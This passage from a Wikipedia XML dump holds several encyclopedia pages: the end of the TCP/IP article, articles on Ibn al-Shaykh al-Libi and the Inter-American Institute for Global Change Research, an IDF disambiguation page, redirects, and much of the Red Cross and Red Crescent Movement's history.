* [[Craig Hunt]] TCP/IP Network Administration. O'Reilly (1998) ISBN 1565923227
* [[W. Richard Stevens]]. The Protocols (TCP/IP Illustrated, Volume 1). Addison-Wesley Professional; 1st edition (December 31, 1993). ISBN 0201633469

[[Category:Internet|Internet protocol suite]]
[[Category:Internet protocols| ]]

[[ar:حزمة بروتوكولات الإنترنت]]
[[ca:TCP/IP]]
[[cs:Sada protokolů Internetu]]
[[da:TCP/IP]]
[[de:Internetprotokollfamilie]]
[[es:Familia de protocolos de Internet]]
[[eo:TCP-IP]]
[[fr:Suite des protocoles internet]]
[[gl:Protocolo internet]]
[[it:Suite di protocolli Internet]]
[[ku:TCP/IP]]
[[lv:TCP/IP]]
[[hu:TCPIP]]
[[nl:TCP/IP]]
[[ja:TCP/IP]]
[[no:TCP/IP]]
[[pl:TCP/IP]]
[[pt:TCP/IP]]
[[ru:Стек протоколов TCP/IP]]
[[sk:Balík internetových protokolov]]
[[sl:TCP/IP]]
[[fi:TCP/IP]]
[[th:ทีซีพี/ไอพี]]
[[tr:İnternet protokol takımı]]
[[zh:TCP/IP协议]]</text>
    </revision>
  </page>
  <page>
    <title>Ibn al-Shaykh al-Libi</title>
    <id>15477</id>
    <revision>
      <id>35961701</id>
      <timestamp>2006-01-20T15:21:46Z</timestamp>
      <contributor>
        <username>Bobblewik</username>
        <id>51235</id>
      </contributor>
      <minor />
      <comment>reduce overlinking</comment>
      <text xml:space="preserve">{{cleanup-date|November 2005}}

'''Ibn al-Shaykh al-Libi''' ('''ابن الشیخ اللبّی''') was a [[Libya|Libyan]] paramilitary trainer for [[Al-Qaeda]].  After being captured and interrogated by American forces, the information he gave under interrogation was cited by the [[George W. Bush Administration|Bush Administration]] in the months preceding the [[2003 invasion of Iraq]] as evidence of a connection between [[Saddam Hussein and al-Qaeda]].  That information was frequently repeated by members of the Bush Administration even though then-classified reports from both the [[Central Intelligence Agency]] and the [[Defense Intelligence Agency]] strongly questioned its credibility, suggesting that al-Libi was &quot;intentionally misleading&quot; interrogators.

Al-Libi led the [[Al Khaldan training camp]] in [[Afghanistan]], the facility where [[Zacarias Moussaoui]] and [[Ahmed Ressam]] trained.  An associate of [[Abu Zubaydah]], al-Libi was on the [[September 26]], [[2002]] list of [[terrorists]] released by the U.S. government following the [[September 11, 2001 Terrorist Attack]]. The list detailed individuals and organizations whose assets were to be immediately frozen. He was captured by Pakistani officials at the end of 2001 or beginning of 2002 as he attempted to flee [[Afghanistan]] following the collapse of the [[Taliban]] ensuing the [[2001 U.S. Attack on Afghanistan]].

He was then turned over to [[United States|U.S.]] officials and held at a detention center at the [[Kandahar]] airport. In the second week of January 2002, he was flown to the [[USS Bataan|USS ''Bataan'']] in the northern [[Arabian Sea]], the ship which is being used to hold eight other important prisoners, including [[John Walker Lindh]].  His capture was first reported by [[NBC News]] in the evening of [[January 4]], [[2002]].

Al-Libi has been identified as the source of misinformation regarding the connection between Iraq and al Qaeda that the Bush Administration used to justify the [[2003 invasion of Iraq|invasion of Iraq]].  Specifically, he told interrogators that Iraq provided training to al-Qaeda in the area of weapons of mass destruction.  In Cincinnati in October 2002, Bush informed the public: 
:&quot;Iraq has trained Al Qaeda members in bomb making and poisons and gases.&quot; 

This claim was repeated several times in the run-up to the war, including in Colin Powell's speech to the U.N Security Council on [[5 February]] [[2003]], which concluded with a long recitation of the information provided al-Libi.  Powell's speech came less than a month after a then-classified CIA report concluding that the information provided by al-Libi was unreliable and about a year after a DIA report concluded the same thing.

Libi recanted these claims in January 2004, and his recantation is backed up by evidence from the interrogation of other top al Qaeda officials.  The DIA concluded in February 2002 that Libi deliberately misled interrogators.  Some speculate that his reason for giving disinformation was in order to draw the U.S. into an attack on Iraq, which al Qaeda believes will lead to a global [[jihad]].  Others suggest that al-Libi gave false information because of the use of excessively harsh interrogation methods.  Al-Libi is believed to have been one of the high value detainees who prompted the Bush administration to initiate interrogation methods of questionable morality and legality.  These critics suggest it wasn't hard for al-Libi to figure out what his interrogators were sure he knew, and that they wouldn't stop, until he told them what they wanted to hear.

An article published in the [[November 5]], [[2005]] [[New York Times]] quoted two paragraphs of a [[DIA]] report declassified upon request by [[US Senator|Senator]] [[Carl Levin]], that expressed doubts about the results of al-Libi's interrogation in February 2002.  The declassified paragraphs are: 

:''This is the first report from Ibn al-Shaykh in which he claims Iraq assisted al-Qaida's CBRN efforts.  However, he lacks specific details on the Iraqi's [stet] involved, the CBRN materials associated with the assistance, and the location where training occurred.  It is possible he does not know any further details;  it is more likely this individual is intentionally misleading the debriefers.  Ibn al-Shaykh has been undergoing debriefs for several weeks and may describing [stet] scenarios to the debriefers that he knows will retain their interest.

:''Saddam's regime is intensely secular and is wary of Islamic revolutionary movements.  Moreover, Baghdad is unlikely to provide assistance to a group it cannot control.''

This report was followed in January 2003 by a CIA report coming to the same conclusion, noting that al-Libi was &quot;not in a position to know if any training had taken place.&quot;

----
==External links and references==
* [http://www.nytimes.com/2002/01/06/international/asia/06DETA.html U.S. Captures a Top Trainer for Al Qaeda], The ''[[New York Times]]'', [[January 5]], [[2002]]
* [http://light.afgha.com/article.php?sid=11198 Al Qaeda Trainer in U.S. Hands], reprinted from ''[[Washington Post]]'', [[January 5]], [[2002]]
* [http://www.washingtonpost.com/wp-dyn/articles/A30909-2004Jul31.html Al Qaeda-Iraq Link Recanted: Captured Libyan Reverses Previous Statement to CIA, Officials Say], ''[[Washington Post]]'', [[August 1]], [[2004]]
* [http://levin.senate.gov/newsroom/supporting/2005/DIAletter.102605.pdf  Letter from DIA declassifying two paragraphs of DITSUM # 044-02], [[October 26]], [[2005]]
* [http://www.mediainfo.com/eandp/news/article_display.jsp?vnu_content_id=1001434737 Smoking Gun on Manipulation of Iraq Intelligence? 'NY Times' Cites New Document Today], ''[[Editor and Publisher]]'', [[November 5]], [[2005]] 
* [http://www.nytimes.com/2005/11/06/politics/06intel.html Report Warned Bush Team About Intelligence Suspicions], ''[[New York Times]]'', [[November 5]], [[2005]]
* [http://msnbc.msn.com/id/9991919/site/newsweek/ Al-Libi's Tall Tales], ''[[Newsweek]]'', [[10 November]] [[2005]].
* Kurt Nimmo. [http://kurtnimmo.com/?p=168 CIA Patsy Spins Fairy Tale Plot to Assassinate Bush], ''Another Day in the Empire'', December 23, 2005.

[[Category:Al-Qaeda members|Libi, Ibn al-Shaykh]]</text>
    </revision>
  </page>
  <page>
    <title>IDF</title>
    <id>15478</id>
    <revision>
      <id>41772234</id>
      <timestamp>2006-03-01T17:12:43Z</timestamp>
      <contributor>
        <username>Crzrussian</username>
        <id>202279</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''IDF''' or '''idf''' may refer to:
* the [[International Diabetes Federation]]
* the [[Israel Defense Forces]]
* the [[AIDC Ching-kuo]] '''I'''ndigenous '''D'''efence '''F'''ighter of [[Taiwan]].
* [[Intel Developer Forum]]
* [[Icelandic Defense Force]]
* [[Île-de-France (région)]] of [[France]].
* [[Île-de-France (province)]] (historical) of France
* Inverse Document Frequency
* an abbreviation for &quot;identify&quot; or &quot;identifier&quot;
* [[Intermediate distribution frame]] (in telephony)

{{TLAdisambig}}

[[de:IDF]]
[[fr:IDF]]
[[nl:IDF]]
[[ja:IDF]]</text>
    </revision>
  </page>
  <page>
    <title>Israeli Army</title>
    <id>15480</id>
    <revision>
      <id>15912953</id>
      <timestamp>2004-03-23T02:53:34Z</timestamp>
      <contributor>
        <username>Kent Wang</username>
        <id>34477</id>
      </contributor>
      <minor />
      <comment>fix double redirect after 'Israel Defence Forces' moved to 'Israel Defense Forces'</comment>
      <text xml:space="preserve">#REDIRECT [[Israel Defense Forces]]</text>
    </revision>
  </page>
  <page>
    <title>Israeli Defence Force</title>
    <id>15482</id>
    <revision>
      <id>15912955</id>
      <timestamp>2004-03-23T02:53:36Z</timestamp>
      <contributor>
        <username>Kent Wang</username>
        <id>34477</id>
      </contributor>
      <minor />
      <comment>fix double redirect after 'Israel Defence Forces' moved to 'Israel Defense Forces'</comment>
      <text xml:space="preserve">#REDIRECT [[Israel Defense Forces]]</text>
    </revision>
  </page>
  <page>
    <title>Inter-American Institute for Global Change Research</title>
    <id>15486</id>
    <revision>
      <id>37349244</id>
      <timestamp>2006-01-30T12:06:07Z</timestamp>
      <contributor>
        <ip>150.163.35.22</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Iai_logo_transparent.jpg]]

The '''Inter-American Institute for Global Change Research''' is an intergovernmental organization supported by 19 countries in the Americas dedicated to pursuing the principles of scientific excellence, sharing of [[natural environment|environment]]al scientific [[research]], international cooperation, and the open exchange of scientific information to increase the understanding of global change phenomena and their socio-economic implications. The IAI pursues the principle of scientific excellence, international cooperation and the full and open exchange of scientific information relevant to [[Global_change|global change]].

'''&lt;u&gt;Our Mission&lt;/u&gt;'''

To develop the capacity of understanding the integrated impact of present and future global change on regional and continental environments in the Americas and to promote collaborative research and informed action at all levels.

'''&lt;u&gt;Science Agenda&lt;/u&gt;'''	

The primary objective of the IAI is to encourage research beyond the scope of national programs by advancing comparative and focused studies based on scientific issues important to the region as a whole. Our mission is defined as to develop the capacity of understanding the integrated impact of past, present and future global change on regional and continental environments in the Americas and to promote collaborative research and informed action at all levels. In its approach the IAI pursues the principles of scientific excellence, international cooperation and the full and open exchange of scientific information relevant to Global Environmental Change (GEC).

The term global change is used to refer to the interactions of biological, chemical and physical processes that regulate changes in the functioning of the Earth system, including the particular ways in which these changes are influenced by human activities.

The agreement establishing the IAI stated that the Science Agenda should be dynamic and should evolve to permanently incorporate new scientific priorities and to address changes in the needs of the region's countries. At present, four broadly defined research foci have been identified by the IAI.

These are:

'''I - Understanding Climate Change and Variability in the Americas'''

The focus of this theme is to observe, document and predict climate change and variability in the Americas and its links to changes in natural systems and societal impacts.

The goals are to understand the role of the ocean-land-atmosphere interactions in climate, to determine the key processes that cause climatic variability, from seasonal to decadal time scales, and to apply the insight gained by these findings to improve weather and climate predictions.

Topics suggested under this theme:

* Tropical Atlantic Variability (TAV), El Niño-Southern Oscillation (ENSO) and other forms of low-frequency climate variability.
* Ocean variability, including sudden climate change, and its influence on climate and weather of the surrounding continents.
* Variability of the American Monsoon systems.
* Ocean/Land/Atmosphere interactions and Hydrology, including atmospheric mesoscale processes.
* Global and regional changes in the water cycle.
* Aerosol impact on climate change and variability.
* Climate change at regional scales: scenarios, impacts, vulnerability and adaptation.
* Climate changes in the past.
* Development of the Americas component for a Global Observing System for climate.

'''II - Comparative Studies of Ecosystem, Biodiversity, Land Use and Cover, and Water Resources in the Americas'''

The IAI encourages comparative and integrated analyses of the effects of Global Environmental Change on natural and anthropogenic systems and processes among tropical, temperate and cold latitude systems. Sponsored work should increase our knowledge of the drivers and dynamics of variability, and the impacts of such variability on food security, biodiversity and the provision of ecological goods and services. Research is expected to include work in terrestrial, coastal and oceanic environments; and work that integrates across the land/sea interface will be encouraged.

Topics suggested under this theme:

* Impacts of global change on biodiversity, including species and genetic biodiversity—both of natural systems and agricultural systems and cultivars.
* Comparative studies of resilience of ecosystems, key species, and important agricultural cultivars to global change.
* Comparative studies of changes in land use and/or coastal/marine/freshwater resource use.
* Prediction and documentation of estuarine changes due to changes in freshwater inflows as well as changes in watershed land use and cover.
* Climate and habitat change impacts on wide-ranging species across the Americas.

'''III - Understanding Global Change Modulations of the Composition of the Atmosphere, Oceans and Fresh Waters'''

The focus of this theme is on observing, documenting and understanding processes that modify the chemical composition of the atmosphere, inland waters and oceans in a manner that affects productivity and human welfare. A multidisciplinary approach to this research area is expected.

Topics suggested under this theme:

* Effects of air pollution and rain water quality on ecosystems.
* Impact of mega-cities on regional climate.
* Regional and global air pollution: Transport and impacts.
* High latitude processes and ozone depletion.
* Comparative studies of regional air and water pollution.
* Biogeochemical processes and ecosystem hydrology.
* Greenhouse gases and their impact on climate change.
* Coastal processes and water pollution.

'''IV - Understanding the Human Dimensions and Policy Implications of Global Change, Climate Variability and Land Use'''

The focus of this theme is to research the dynamic interaction of global change, climate variability, land use and human beings – their health, welfare and activities which depend on the productivity, diversity and functioning of ecosystems. The emphasis of the research is on projects that address the complex interactions between natural and socio-economic systems through interdisciplinary approaches. The objective is to inform public policies that increase sustainability of natural systems and human welfare.

Topics suggested under this theme:

* Health and environmental issues with emphasis on vector-borne diseases.
* Increased vulnerability of human settlements due to global change, climate variability, and land use.
* Rapid urbanization and sustainability of natural and human systems.
* Changes in food production patterns; potential actions for increasing food security.
* Global environmental and economic change and biodiversity; implications for conservation strategies.
* Effects of GEC, climate variability and land use on natural disaster occurrences, mitigation strategies, and policies that limit loss of life and property.
* Impact of GEC and climate variability on fisheries and fishers; strategies for limiting socio-economic impacts.
* Identification of factors that contribute to resilience of natural ecosystems; conservation strategies to promote resilience.
* Effects of GEC, climate variability and land use on water supply, freshwater flows, and security of water for human uses.
* Participatory environmental decision-making.

==External links==
* [http://www.iai.int Inter-American Institute for Global Change Research Website]
* [https://iaibr3.iai.int:1500/twiki/bin/view/DIS IAI-DIS Website]
* [http://www.institutes.iai.int/ Institutes Website]</text>
    </revision>
  </page>
  <page>
    <title>International Red Cross and Red Crescent Movement</title>
    <id>15487</id>
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      <timestamp>2006-03-02T22:07:32Z</timestamp>
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      <comment>/* Red Shield of David */</comment>
      <text xml:space="preserve">[[Image:Croixrouge_logos.jpg|250px|thumb|The [[Red Cross (symbol)|Red Cross]] and the [[Red Crescent (symbol)|Red Crescent]] emblems, the symbols from which the Movement derives its name]]

The '''International Red Cross and Red Crescent Movement''' consists of the International Committee of the Red Cross (ICRC), the International Federation of Red Cross and Red Crescent Societies (Federation), and the 183 national [[List of Red Cross and Red Crescent Societies|Red Cross or Red Crescent societies]] currently recognized by the ICRC and admitted as full members of the Federation. All of these organizations are legally independent from each other, but are united within the movement through common basic principles, objectives, symbols, statutes, and governing organs. The movement is voluntary and [[Non-governmental organization|non-governmental]]. Its stated mission is to protect human life and health, to ensure respect for the [[human]] being, and to prevent and alleviate human suffering, without any discrimination based on [[nationality]], [[race]], [[religion|religious]] beliefs, [[social class|class]] or [[politics|political]] opinions. Recently, it has finally ended its dispute with Israel with the inclusion of a secular [[Red_Crystal_flag|red crystal]].

The ''International Committee of the Red Cross'' has a membership of a maximum of 25 [[Switzerland|Swiss]] citizens and is the only institution explicitly named under [[International Humanitarian Law]] (IHL) as a controlling authority. Like the [[Holy See]] and the [[Knights Hospitaller|Sovereign Military Hospitaller Order]] (Knights Hospitaller), it is a rare example of a non-governmental [[Sovereignty|sovereign]] entity. Its sole [[humanitarian]] mission, based on the principles of impartiality, [[neutrality]], and independence, is the protection of the life and dignity of the victims of international and internal armed conflicts.

The main task of the ''International Federation of Red Cross and Red Crescent Societies'' is to coordinate cooperation between different national Red Cross and Red Crescent societies within the movement. On the international level, the federation leads and organizes, in close cooperation with the national societies, relief assistance missions responding to large-scale emergencies.

''National Red Cross and Red Crescent societies'' exist in nearly every country in the world. Each entity works in its home country according to the principles of international humanitarian law and the [[statute]]s of the International Movement. Depending on their specific circumstances and capacities, national societies can take on additional humanitarian tasks that are not directly defined by international humanitarian law or the [[mandate]]s of the International Movement. See the [[list of Red Cross and Red Crescent Societies]] to find information about a particular national society.

The term ''International Red Cross'' and the respective acronym ''IRC'' is actually a misnomer, as no official organization exists bearing that name. Furthermore, the use of this label can result in confusion regarding the distinction between the ICRC and the Federation, potentially adversely politicizing its efforts.

==History of the Movement==

===The International Committee of the Red Cross===

====Solferino, Henry Dunant and the foundation of the ICRC====
[[Image:Jean_Henri_Dunant.jpg|250px|thumb|[[Henry Dunant]], Author of &quot;[[A Memory of Solferino]]&quot;]]
Up until the middle of the 19&lt;sup&gt;th&lt;/sup&gt; century, there were no organized and well-established [[army nursing]] systems for casualties and no safe and protected institutions to accommodate and treat those who were wounded on the battlefield.  In June 1859, the Swiss businessman [[Henry Dunant]] traveled to [[Italy]] to meet French emperor [[Napoléon III]] with the intention of discussing difficulties in conducting business in [[Algeria]], at that time occupied by [[France]]. When he arrived in the small town of [[Solferino]] on the evening of [[June 24]], he witnessed the [[Battle of Solferino]], an engagement in the [[Austro-Sardinian War]]. In a single day, about 40,000 soldiers on both sides died or were left wounded on the field. Henry Dunant was shocked by the terrible aftermath of the battle, the suffering of the wounded soldiers, and the near-total lack of medical attendance and basic care. He completely abandoned the original intent of his trip and for several days he devoted himself to helping with the treatment and care for the wounded. He succeeded in organizing an overwhelming level of relief assistance by motivating the local population to aid without discrimination. Back in his home in [[Geneva]], he decided to write a book entitled ''[[A Memory of Solferino]]'' which he published with his own money in 1862. He sent copies of the book to leading political and military figures throughout [[Europe]]. In addition to penning a vivid description of his experiences in Solferino in 1859, he explicitly advocated the formation of national voluntary relief organizations to help nurse wounded soldiers in the case of war. In addition, he called for the development of international treaties to guarantee the neutrality and protection of those wounded on the battlefield as well as medics and field hospitals.

[[Image:Original_Geneva_Conventions.jpg|250px|thumb|left|Original document of the first Geneva Convention, 1864.]]

On [[February 9]], [[1863]] in Geneva, Henry Dunant founded the &quot;Committee of the Five&quot; (together with four other leading figures from well-known [[Geneva families]]) as an investigatory commission of the [[Geneva Society for Public Welfare]]. Their aim was to examine the feasibility of Dunant's ideas and to organize an international conference about their possible implementation. The members of this committee, aside from Dunant himself, were [[Gustave Moynier]], lawyer and chairman of the Geneva Society for Public Welfare; physician [[Louis Appia]], who had significant experience working as a field surgeon; Appia's friend and colleague [[Théodore Maunoir]], from the [[Geneva Hygiene and Health Commission]]; and [[Guillaume Henri Dufour|Guillaume-Henri Dufour]], a [[Swiss Army]] general of great renown. Eight days later, the five men decided to rename the committee to the &quot;International Committee for Relief to the Wounded.&quot; In October (26-29) 1863, the international conference organized by the committee was held in Geneva to develop possible measures to improve medical services on the battle field. The conference was attended by 36 individuals: eighteen official delegates from national governments, six delegates from other non-governmental organizations, seven non-official foreign delegates, and the five members of the International Committee. The states and kingdoms represented by official delegates were [[Baden Germany|Baden]], [[Bavaria]], [[France]], [[Britain]], [[Hanover]], [[Hesse]], [[Italy]], [[Netherlands|the Netherlands]], [[Austria]], [[Prussia]], [[Russia]], [[Saxony]], [[Sweden]], and [[Spain]]. Among the proposals written in the final resolutions of the conference, adopted on [[October 29]], 1863, were:

* The foundation of national relief societies for wounded soldiers;
* Neutrality and protection for wounded soldiers;
* The utilization of volunteer forces for relief assistance on the battlefield;
* The organization of additional conferences to enact these concepts in legally binding international treaties; and
* The introduction of a common distinctive protection symbol for medical personnel in the field, namely a white armlet bearing a red cross.

[[Image:Gedenkstein-rotes-kreuz-1864.jpg|250px|thumb|Memorial commemorating the first use of the Red Cross symbol in an armed conflict during the Battle of [[Dybbøl]] (Denmark) in 1864; jointly erected in 1989 by the national Red Cross societies of [[Denmark]] and [[Germany]].]]

Only one year later, the Swiss government invited the governments of all European countries, as well as the [[United States]], [[Brazil]], and [[Mexico]], to attend an official diplomatic conference. 16 countries sent a total of 26 delegates to Geneva. On [[August 22]], 1864, the conference adopted the first [[Geneva Conventions|Geneva Convention]] &quot;for the Amelioration of the Condition of the Wounded in Armies in the Field.&quot; Representatives of 12 states and kingdoms signed the convention: Baden, Belgium, Denmark, France, Hesse, Italy, the Netherlands, [[Portugal]], Prussia, Switzerland, Spain, and [[Württemberg]]. The convention contained ten articles, establishing for the first time legally binding rules guaranteeing neutrality and protection for wounded soldiers, field medical personnel, and specific humanitarian institutions in an armed conflict. Furthermore, the convention defined two specific requirements for recognition of a national relief society by the International Committee:

* The national society must be recognized by its own national government as a relief society according to the convention, and
* The national government of the respective country must be a state party to the Geneva Convention.

Directly following the establishment of the Geneva Convention, the first national societies were founded in Belgium, Denmark, France, [[Oldenburg]], Prussia, Spain, and Württemberg. Also in 1864, Louis Appia and [[Charles Van de Velde]], a captain of the [[Royal Netherlands Army|Dutch Army]], became the first independent and neutral delegates to work under the symbol of the Red Cross in an armed conflict. Three years later in 1867, the first [[International Conference of National Aid Societies for the Nursing of the War Wounded]] was convened.

Also in 1867, Henry Dunant was forced to declare bankruptcy due to business failures in Algeria, partly because he had neglected his business interests during his tireless activities for the International Committee. Controversy surrounding Dunant's business dealings and the resulting negative public opinion combined with an ongoing conflict with Gustave Moynier led to Dunant's expulsion from his position as a member and secretary. He was forced to leave Geneva and never returned to his home city. In the following years, national societies were founded in nearly every country in Europe. In 1876, the committee adopted the name &quot;International Committee of the Red Cross&quot; (ICRC), which is still its official designation today. Five years later, the [[American Red Cross]] was founded through the efforts of [[Clara Barton]]. More and more countries signed the Geneva Convention and began to respect it in practice during armed conflicts. In a rather short period of time, the Red Cross gained huge momentum as an internationally respected movement, and the national societies became increasingly popular as a venue for volunteer work. 

When the first [[Nobel Peace Prize]] was awarded in 1901, the [[Norway|Norwegian]] Nobel Committee opted to give it jointly to Henry Dunant and [[Frédéric Passy]], a leading international pacifist. More significant than the honor of the prize itself, the official congratulation from the International Committee of the Red Cross marked the overdue rehabilitation of Henry Dunant and represented a tribute to his key role in the formation of the Red Cross. Dunant died nine years later in the small Swiss health resort of [[Heiden]]. Only two months earlier his long-standing adversary Gustave Moynier had also died, leaving a mark in the history of the Committee as its longest-running president ever.

In 1906, the 1864 Geneva Convention was revised for the first time. One year later, the [[Hague Conventions (1899 and 1907)|Hague Convention]] X, adopted at the second International Peace Konferenz in [[The Hague]], extended the scope of the Geneva Convention to naval warfare. Shortly before the beginning of the [[First World War]] in 1914, 50 years after the foundation of the ICRC and the adoption of the first Geneva Convention, there were already 45 national relief societies throughout the world. The movement had extended itself beyond [[Europe]] and [[North America]] to [[Central America|Central]] and [[South America]] ([[Argentina]], [[Brazil]], [[Chile]], [[Cuba]], [[Mexico]], [[Peru]], [[El Salvador]], [[Uruguay]], [[Venezuela]]), [[Asia]] ([[China]], [[Japan]], [[Korea]], [[Siam]]), and [[Africa]] ([[Republic of South Africa]]).

====The ICRC during World War One====

[[Image:Honneur_à_la_Croix-Rouge-1915.JPG|250px|thumb|French postcard celebrating the role of Red Cross nurses during the First World War, 1915.]]

With the outbreak of [[World War One]], the ICRC found itself confronted with enormous challenges which it could only handle by working closely with the national Red Cross societies. Red Cross nurses from around the world, including the United States and Japan, came to support the medical services of the armed forces of the European countries involved in the war. On [[October 15]], [[1914]], immediately after the start of the war, the ICRC set up its International Prisoners-of-War ([[POW]]) Agency, which had about 1,200 mostly volunteer staff members by the end of 1914. By the end of the war, the Agency had transferred about 20 million letters and messages, 1.9 million parcels, and about 18 million [[Swiss francs]] in monetary donations to POWs of all affected countries. Furthermore, due to the intervention of the Agency, about 200,000 prisoners were exchanged between the warring parties, released from captivity and returned to their home country. The organizational card index of the Agency accumulated about 7 million records from 1914 to 1923, each card representing an individual prisoner or missing person. The card index led to the identification of about 2 million POWs and the ability to contact their families. The complete index is on loan today from the ICRC to the [[International Red Cross and Red Crescent Museum]] in Geneva. The right to access the index is still strictly restricted to the ICRC.

During the entire war, the ICRC monitored warring parties’ compliance with the Geneva Conventions of the 1907 revision and forwarded complaints about violations to the respective country. When [[chemical weapons]] were used in this war for the first time in history, the ICRC vigorously protested against this new type of warfare. Even without having a mandate from the Geneva Conventions, the ICRC tried to ameliorate the suffering of civil populations. In territories that were officially designated as &quot;occupied territories,&quot; the ICRC could assist the civilian population on the basis of the [[Hague Convention]]'s &quot;Laws and Customs of War on Land&quot; of 1907. This convention was also the legal basis for the ICRC's work for prisoners of war. In addition to the work of the International Prisoner-of-War Agency as described above this included inspection visits to POW camps. A total of 524 camps throughout Europe were visited by 41 delegates from the ICRC until the end of the war. 

Between 1916 and 1918, the ICRC published a number of [[postcard]]s with scenes from the POW camps. The pictures showed the prisoners in day-to-day activities such as the distribution of letters from home. The intention of the ICRC was to provide the families of the prisoners with some hope and solace and to alleviate their uncertainties about the fate of their loved ones. After the end of the war, the ICRC organized the return of about 420,000 prisoners to their home countries. In 1920, the task of repatriation was handed over to the newly founded [[League of Nations]], which appointed the Norwegian diplomat and scientist [[Fridtjof Nansen]] as its &quot;High Commissioner for Repatriation of the War Prisoners.&quot; His legal mandate was later extended to support and care for war refugees and displaced persons when his office became that of the League of Nations &quot;High Commissioner for Refugees.&quot; Nansen, who invented the ''[[Nansen passport]]'' for stateless refugees and was awarded the Nobel Peace Prize in 1922, appointed two delegates from the ICRC as his deputies.

A year before the end of the war, the ICRC received the 1917 Nobel Peace Prize for its outstanding wartime work. It was the only Nobel Peace Prize awarded in the period from 1914 to 1918. In 1923, the Committee adopted a change in its policy regarding the selection of new members. Until then, only citizens from the city of Geneva could serve in the Committee. This limitation was expanded to include Swiss citizens. As a direct consequence of World War One, an additional protocol to the Geneva Convention was adopted in 1925 which outlawed the use of suffocating or poisonous gases and biological agents as weapons. Four years later, the 1906 Convention was revised and the second Geneva Convention &quot;relative to the Treatment of Prisoners of War&quot; was established. The events of World War One and the respective activities of the ICRC significantly increased the reputation and authority of the Committee among the international community and led to an extension of its competencies. 

As early as in 1934, a draft proposal for an additional convention for the protection of the civil population during an armed conflict was adopted by the International Red Cross Conference. Unfortunately, most governments had not enough interests in implementing this convention, preventing it from entering into force before the beginning of [[World War Two]].

====The ICRC and World War Two====

[[Image:HZwLazarecie1940.jpg|250px|thumb|Red Cross message from [[Łódź]], [[Poland]], 1940]]

The legal basis of the work of the ICRC during World War II were the Geneva Conventions in their 1929 revision. The activities of the Committee were similar to those during World War I: visiting and monitoring POW camps, organizing relief assistance for civilian populations, and administering the exchange of messages regarding prisoners and missing persons. By the end of the war, 179 delegates had conducted 12,750 visits to POW camps in 41 countries. The Central Information Agency on Prisoners-of-War (''Zentralauskunftsstelle für Kriegsgefangene'') had a staff of 3,000, the card index tracking prisoners contained 45 million cards, and 120 million messages were exchanged by the Agency. One major obstacle was that the [[Nazi]]-controlled [[German Red Cross]] refused to cooperate with the Geneva statutes including blatant violations such as the deportation of [[Jews]] from Germany and the [[Holocaust|mass murders]] conducted in the [[concentration camps]] run by the German government. Moreover, two other main aggressors, the [[Soviet Union]] and Japan, were not party to the 1929 Geneva Conventions and were not legally required to follow the rules of the conventions. Thus, other countries were not bound to follow the Conventions regarding their prisoners in return.

During the war, the ICRC failed to obtain an agreement with Nazi Germany about the treatment of detainees in concentration camps, and it eventually abandoned applying pressure in order to avoid disrupting its work with POWs. The ICRC also failed to develop a response to reliable information about the extermination camps and the mass killing of European Jews. This is still considered the greatest failure of the ICRC in its history. After November 1943, the ICRC achieved permission to send parcels to concentration camp detainees with known names and locations. Because the notices of receipt for these parcels were often signed by other inmates, the ICRC managed to register the identities of about 105,000 detainees in the concentration camps and delivered about 1.1 million parcels, primarily to the camps [[Dachau]], [[Buchenwald]], [[Ravensbrück]], and [[Sachsenhausen concentration camp|Sachsenhausen]].

[[Image:Marcel_Junod-5.jpg|250px|thumb|left|'''Marcel Junod''', delegate of the ICRC, visiting POWs in Germany&lt;br&gt;&lt;small&gt;(© Benoit Junod, Switzerland)&lt;/small&gt;]]

On [[March 12]], [[1945]], ICRC president Jacob Burckhardt received a message from SS General [[Ernst Kaltenbrunner]] accepting the ICRC's demand to allow delegates to visit the concentration camps. This agreement was bound by the condition that these delegates would have to stay in the camps until the end of the war. Ten delegates, among them [[Louis Haefliger]] ([[Mauthausen-Gusen concentration camp|Camp Mauthausen]]), [[Paul Dunant]] ([[Concentration camp Theresienstadt|Camp Theresienstadt]]) and [[Victor Maurer]] ([[Dachau concentration camp|Camp Dachau]]), accepted the assignment and visited the camps. Louis Haefliger courageously prevented the forceful eviction or blasting of Mauthausen-Gusen by alerting American troops, thereby saving the lives of about 60,000 inmates. His actions were condemned by the ICRC because they were deemed as acting unduly on his own authority and risking the ICRC's neutrality. Only in 1990, his reputation was finally rehabilitated by ICRC president [[Cornelio Sommaruga]]. 

Another example of great humanitarian spirit was [[Friedrich Born]] (1903-1963), an ICRC delegate in [[Budapest]] who saved the lives of about 11,000 to 15,000 Jewish people in [[Hungary]]. On [[June 5]], [[1987]], he was posthumously granted the title of &quot;[[Righteous Among the Nations]]&quot; by ''[[Yad Vashem]]'', Israel's Holocaust Martyrs' and Heroes' Remembrance Authority. [[Marcel Junod]] (1904-1961), a physician from Geneva, was another famous delegate during the Second World War. An account of his experiences, which included being one of the first foreigners to visit [[Hiroshima]] after the [[atomic bomb]] was dropped, can be found in the book ''Warrior without Weapons''.

In 1944, the ICRC received its second Nobel Peace Prize. As in World War I, it received the only Peace Prize awarded during the main period of war, 1939 to 1945. At the end of the war, the ICRC worked with national Red Cross societies to organize relief assistance to those countries most severely affected. In 1948, the Committee published a report reviewing its war-era activities from [[September 1]], [[1939]] to [[June 30]], [[1947]]. Since January 1996, the ICRC archive for this period has been open to academic and public research.

====The ICRC after the Second World War====

[[Image:IKRK_Hauptquartier.jpg|250px|thumb|The ICRC Headquarters in Geneva]]

On [[August 12]], [[1949]], further revisions to the existing two Geneva Conventions were adopted. An additional convention &quot;for the Amelioration of the Condition of Wounded, Sick and Shipwrecked Members of Armed Forces at Sea&quot;, named the second Geneva Convention, was added to succeed the 1907 Hague Convention X. The 1929 convention &quot;relative to the Treatment of Prisoners of War&quot;, while being the second Geneva Convention from a historical point of view, became the third convention in the context of the 1949 revisions. Reacting to the experience of World War II, the [[Fourth Geneva Convention]], a new Convention &quot;relative to the Protection of Civilian Persons in Time of War,&quot; was established. Also, the additional protocols of [[June 8]], [[1977]] were intended to make the conventions apply to internal conflicts such as civil wars. Today, the four conventions and their added protocols contain more than 600 articles, a remarkable expansion when compared to the mere 10 articles in the first 1864 convention. 

In celebration of its centennial in 1963, the ICRC, together with the League of Red Cross societies, received its third Nobel Peace Prize. Since 1993, non-Swiss individuals have been allowed to serve as Committee delegates abroad, a task which was previously restricted to Swiss citizens. Indeed, since then, the share of staff without Swiss citizenship has increased to about 35%.

